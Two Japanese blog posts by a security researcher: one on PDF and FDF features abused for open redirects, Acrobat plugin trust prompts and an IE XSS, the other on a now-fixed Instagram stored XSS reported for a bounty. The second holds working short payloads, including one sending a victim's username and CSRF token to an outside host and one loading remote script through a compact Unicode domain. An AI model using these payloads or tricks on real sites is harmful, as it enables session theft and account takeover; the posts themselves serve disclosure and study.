2016年9月22日木曜日

PDF特殊機能(リダイレクト編)

今回は今年一番ハマったPDFについて書きます。

先ずは軽い構造の説明から!


上記はJavaScriptが実行できる最小限のPDFの例です。
上記の例では、ル ートオブジェクト(1 0 obj)内にPDFのページおよびPDFを開いた際に実行するアクション(/OpenAction)としてオブジェクト20を指定しています。オブジェクト20ではJavaScriptで ”Hello World!”というアラートを出すコードが記載されています。その為、上記のPDFを開いた場合、”Hello World!”というポップアップが表示されます。

PoC

PDFのJavaScriptはブラウザによってサポートが異なる為、デフォルトの状態でJavaScriptを実行できるのはIE(Acrobat Readerが入っている場合)とChromeです。
また、PDFのJavaScriptでアラートが出せるからといって、サイトにXSSがあるというわけではありません。PDFについてもっと詳しく知りたい方はPDFリファレンスをご覧下さい。

さて、構造の説明にJavaScriptをアクションタイプと書きましたが、アクションタイプとはPDFに搭載されている機能のようなもので、JavaScriptはその中の1つです。以下がPDFリファレンスに記載されているアクションタイプ一覧です。

この中でURIというアクションタイプはリダイレクト出来そうだったので調べてみました。そもそもJavaScript自体に沢山の関数があり、app.launchURL()を使うとオープンリダイレクトやポップアップブロッカーパイパスが出来るのですが、これはAcrobat Readerを使っているブラウザのみ可能です。しかしURIアクションタイプを使うとChromeのPDF Viewerでもリダイレクトが可能です。

PoC

さて、PDFと同系統のドキュメントでFDFとXFDFというファイルがあるのはご存知でしょうか。こちらでもリダイレクトが出来ます(Acrobat Readerを使っているブラウザのみ)。

PoC

このFDFを使ったSafariの面倒くさいリダイレクトを紹介します。
そもそもSafariはPDFを表示する際、Previewというソフトを使う為リダイレクトが出来ません。しかしAcrobatが入っている場合、FDFを埋め込むことでAcrobatを呼び出すことが出来ます。

PoC

しかしご覧の通り、「Acrobat Readerを使用するにはここをクリック」というボタンが表示され、それを押さない限りAcrobatでは開きません。しかしこれをもう少し誘導させやすくする方法があります。それは「style="visibility:hidden;"」をiframeに追加する方法です。


今度は「“shhnjk.com”を信頼して、“Adobe Reader”プラグインを使用しますか?」が出てきます。これは「style="visibility:hidden;"」によりクリックジャッキングを使ってAcrobatを有効にさせない為の手段です。ここまでだとまだまだ攻撃者のドメインなので、ユーザの信頼は勝ち取れません。そこでこれを更に埋め込みます。


今度は"https://shhnjk.com/script.fdf"を表示しようとしているにも関わらず、“shhnjktest.blogspot.ae”を信頼するかとの質問に変わってきます。つまり信頼あるサイトの広告内からでもAcrobatを呼び出すことが出来ます。今回はリダイレクトをするだけですが、これでユーザがサイトを信頼した場合、以後信頼されたサイト上ではPDFもFDFもAcrobatで読み込まれることになり、Acrobatの機能や脆弱性を突く攻撃が可能となります。


最後にPDFを使った面白いXSSを紹介します。
まず、IEではFileオリジンからHTTPのサイトにリダイレクトした際、サイト内のHTMLではないコンテンツをHEADタグ内に入れてしまうバグがあります。もちろんこれだけではFileオリジンからリダイレクトをするのが難しいため問題にならないのですが、IEはPDFがapplication/pdfでないContent typeで配布された場合、そのPDFをFileオリジンで表示するというバグがあります。その為条件が揃うとXSSが発生します(Windows 7で再現確認)。

PoC
※絶対に既存のブラウザをIEに設定してからアクセスして下さい

このバグはMSから修正なしとの回答がきました。理由は既存ブラウザがIEでなければならないこと、サイトがHTTPでホストされていること、Scriptタグが入ったドキュメントを表示出来ること、再現しないことがあることなど、再現条件が揃う可能性が低いからとのことです。


というわけで、PDFの概要と大して面白くない機能の説明でしたが、後編はまぁまぁ面白いと思うのでご期待下さい。

ではでは。

2016年9月1日木曜日

すっぴーさんからの贈り物(Instagram Stored XSS)

お久しぶりです。
皆様いかがお過ごしでしょうか。私はご覧の通りサボっていましたw

さて、今回は先日見つけたInstagramにあったXSSの話をします。何人か報告した人がいたらしく、多分Duplicateかもしれませんが面白かったので書きます。

ある日1件のツイートが目に止まりました。
今回の主人公すっぴーさんであります。すっぴーさんに興味があったので、見ようと思いリンクをクリックしましたが、真っ白な画面が開きました。おかしいと思い調べたところ面白い状態になっていました。

すっぴーさんの飼い主の方が悪意ある名前("><script>alert(0)</script>)を設定していて、なんとInstagramがそれを正しくエスケープしていなかった為、 名前の最後にある</script>でscriptタグが閉じられてしまっている状態でした。

海外サービスはスピード勝負なので、Instagramをやっていなかったのですが、とにかくFacebookでログインし、何が出来るかトライしてみました。

まず名前には30文字までの文字数制限があることが分かりました。とりあえず一番簡単そうなもので試そうと思い以下の名前を設定。

</script><img/src='//te.st/?

するとこんな感じになりました。


攻撃者のアカウントや写真のページにアクセスしたユーザのユーザ名やCSRFトークンを盗むことに成功しました!ってのはいいんですが、名前を設定したと同時に攻撃者もプロファイルにアクセス出来なくなるw

とりあえずFacebookに報告。

さて、次はもちろんXSSを目指します。先ほどのアカウントはどうにもならなので、別アカウントを作成。30文字におさまる方法を考えた結果以下でチャレンジ。

</script><script>alert(1)//


無事アラート出来ました!

報告してから2日後に修正されました。
修正後に、実際に攻撃したかった場合どうすればよかったかを考えました。実際の攻撃はもう少し長いスクリプトが必要なはずですし、果たして30文字で攻撃できるのかと。少し考えた結果、以下で可能でした。

</script><script/src=//⑭.₨>

これなら攻撃サイトのスクリプトを使用できる為、いくらでも長いスクリプトが書けます。更に今回のようにスクリプトタグ内に断片的なデータが入ってる場合でもスラッシュでコメントアウトする必要はありません。

PoC
https://jsfiddle.net/ykke16ht/

⑭.₨を使っている理由は、14.rsの5文字を3文字で表現するためです。バイト的には5バイトから7バイトと増えてしまう為、XSSチャレンジなどでは使われませんが、こういう時は役に立ちます。詳しい情報はこちら

無事修正されたので、すっぴーさんを見に行ったところ...

</script><svg/onload=alert(1)>

バッチリ攻撃仕掛けてましたw


追記
Facebookから$3500の報奨金を頂きました!

ではでは。